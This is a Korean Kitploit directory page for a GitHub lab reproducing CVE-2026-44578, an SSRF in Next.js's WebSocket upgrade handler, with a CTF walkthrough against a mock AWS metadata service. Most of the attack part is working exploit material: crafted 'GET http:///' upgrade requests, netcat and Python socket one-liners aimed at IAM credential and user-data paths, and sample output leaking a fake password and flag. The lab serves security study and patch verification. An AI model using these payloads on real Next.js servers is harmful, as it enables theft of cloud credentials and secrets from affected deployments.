Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLabs & Practice
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

이 실험실은 괜찮을 수도 있고 아닐 수도 있지만, 테스트 중이며 작동해야 합니다. AI에게 물어보세요 하하하

저장소 보기웹사이트
421개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44578 — Next.js WebSocket 업그레이드 SSRF (실습 환경)

Next.js 자체 호스팅(self-hosted) 애플리케이션에서 Node.js 내장 서버를 사용할 때 발생하는 CVE-2026-44578 (CWE-918, SSRF) 취약점을 재현하기 위한 자체 포함 실습 환경입니다.

필드값
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
유형SSRF (CWE-918)
영향을 받는 버전Next.js 13.4.13 – 15.5.15 및 16.0.0 – 16.2.4
패치된 버전15.5.16 및 16.2.5
인증없음
사용자 상호작용없음

실습 환경 토폴로지

공격자 (host: 0.0.0.0)
    │  HTTP :3000 (공개)
    ▼
┌──────────────────────────┐  동일 네트워크 네임스페이스  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (자격 증명,          │
│ (Node.js 내장 서버)       │                           │  user-data, 인덱스)  │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (포트 3000): 취약한 애플리케이션으로, 0.0.0.0:3000에 노출됩니다.
  • imds-sidecar: Next.js 컨테이너의 네임스페이스 내부의 localhost:80에 존재하는 AWS 메타데이터 서비스 모의 서버로, 실제 클라우드 인스턴스를 모델링합니다. 호스트에서 직접 접근할 수 없습니다 (게시된 포트 없음).
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # 자동화된 PoC (5가지 프로브)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + 비밀 경로
                        └── nextjs-app/             # 실제적인 "Nimbus Analytics" 앱
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # 랜딩 페이지
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (취약 버전)

취약한 이유

router-server.ts의 WebSocket 업그레이드 핸들러는 파싱된 URI에 parsedUrl.protocol이 있을 때 proxyRequest()를 호출하지만, 일반 HTTP 핸들러가 항상 설정했던 finished 및 statusCode 플래그를 확인하지 않습니다:

  // 취약 (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // 패치 (커밋 c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

공격 경로는 이중 슬래시가 있는 절대 URI 요청 라인을 사용합니다: GET http:///path. normalizeRepeatedSlashes는 http:///을 http:/로 축소하여 호스트 이름이 없어지고, http-proxy는 그런 다음 경로를 그대로 유지한 채 localhost:80에 연결합니다:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: Upgrade + Upgrade: websocket 헤더가 존재하면 요청이 보안 검사가 있는 HTTP 핸들러 대신 취약한 업그레이드 핸들러로 전달됩니다.

실습 환경 실행

docker compose up -d --build

앱이 응답하는지 확인:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

0.0.0.0에서 실행되도록 docker-compose.yml의 포트 매핑은 이미 모든 인터페이스에서 3000:3000을 노출합니다.

수동 공격

1. netcat (nc) 사용

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. 순수 Python 사용 (표준 라이브러리, 의존성 없음)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. 자동화된 PoC 사용

python3 exploit/exploit.py 127.0.0.1 3000

CTF — 최종 플래그 수동 캡처

4단계로 구성된 100% 수동 전체 흐름입니다. 내부 서비스(localhost:80)에 4개의 플래그가 숨겨져 있습니다. 이 가이드는 첫 번째 플래그까지의 흐름을 보여주고 나머지를 찾을 수 있는 경로를 안내합니다.

1단계 — 정찰

# 서버 핑거프린트
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# 소켓을 통한 열린 포트 확인 (nmap 없이)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

공격자 측에서는 127.0.0.1:80에 직접 접근할 수 없습니다: 유일한 벡터는 내부 서비스와 동일한 네트워크에 있는 Next.js 서버가 우리를 대신해 요청하도록 하는 것입니다.

2단계 — SSRF를 통한 메타데이터 서비스 열거

먼저 메타데이터 서비스의 인덱스를 요청하여 SSRF를 확인합니다:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

인덱스 응답 → 후보: instance-id, hostname, iam/security-credentials/, user-data (첫 번째 플래그). latest/meta-data/의 인덱스는 계속 탐색할 가치가 있는 하위 키도 공개합니다.

3단계 — 페이로드 구성 (바이트 단위)

GET http:///latest/user-data HTTP/1.1
부분기능
GET취약점은 GET만 프록시합니다
http:///latest/user-data절대 URI. http:///은 http:/로 축소됨 → 호스트 이름 null → 프록시가 경로 /latest/user-data를 유지한 채 localhost:80에 연결
Host: 127.0.0.1:3000없으면 서버가 400으로 응답
Connection: Upgrade + Upgrade: websocket요청을 취약한 업그레이드 핸들러로 전환 (일반 HTTP 핸들러는 검증함)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==정당한 핸드셰이크에 필요한 최소 헤더

종료: raw 소켓에서 \r\n\r\n (본문 없음).

4단계 — 수동 트리거 및 플래그 캡처

# 옵션 A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# 옵션 B: Python raw 소켓 (nc 없이 동일한 정밀도)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

출력 — 첫 번째 플래그는 내부 서비스 응답 본문에 도착합니다:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

플래그 1/4 획득. server: BaseHTTP/0.6 ... (Python mock) 헤더는 요청이 공격자 → Next.js → localhost:80으로 이동했음을 확인합니다. 즉, 플래그가 SSRF를 통해 내부 네트워크에서 유출된 것입니다. 나머지 3개는 메타데이터 서비스와 내부 서비스의 경로에 흩어져 있습니다 — latest/meta-data/의 인덱스가 지도입니다. 나머지를 찾으세요.

실습 환경에 노출된 엔드포인트

Fake IMDS(localhost:80)는 실제 AWS 메타데이터 서비스를 모델링합니다: 탐색 가능한 트리입니다. 각 디렉터리(/로 끝남)는 하위 경로의 인덱스로 응답합니다. / 없이 디렉터리를 요청하면 301 리디렉션이 반환됩니다. 숨겨진 경로는 없습니다: 어떤 플래그도 추측을 요구하지 않습니다 — 모든 것은 인덱스를 탐색하여 발견됩니다.

/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → 부팅 스크립트 (internal/config를 가리킴)
도구 다운로드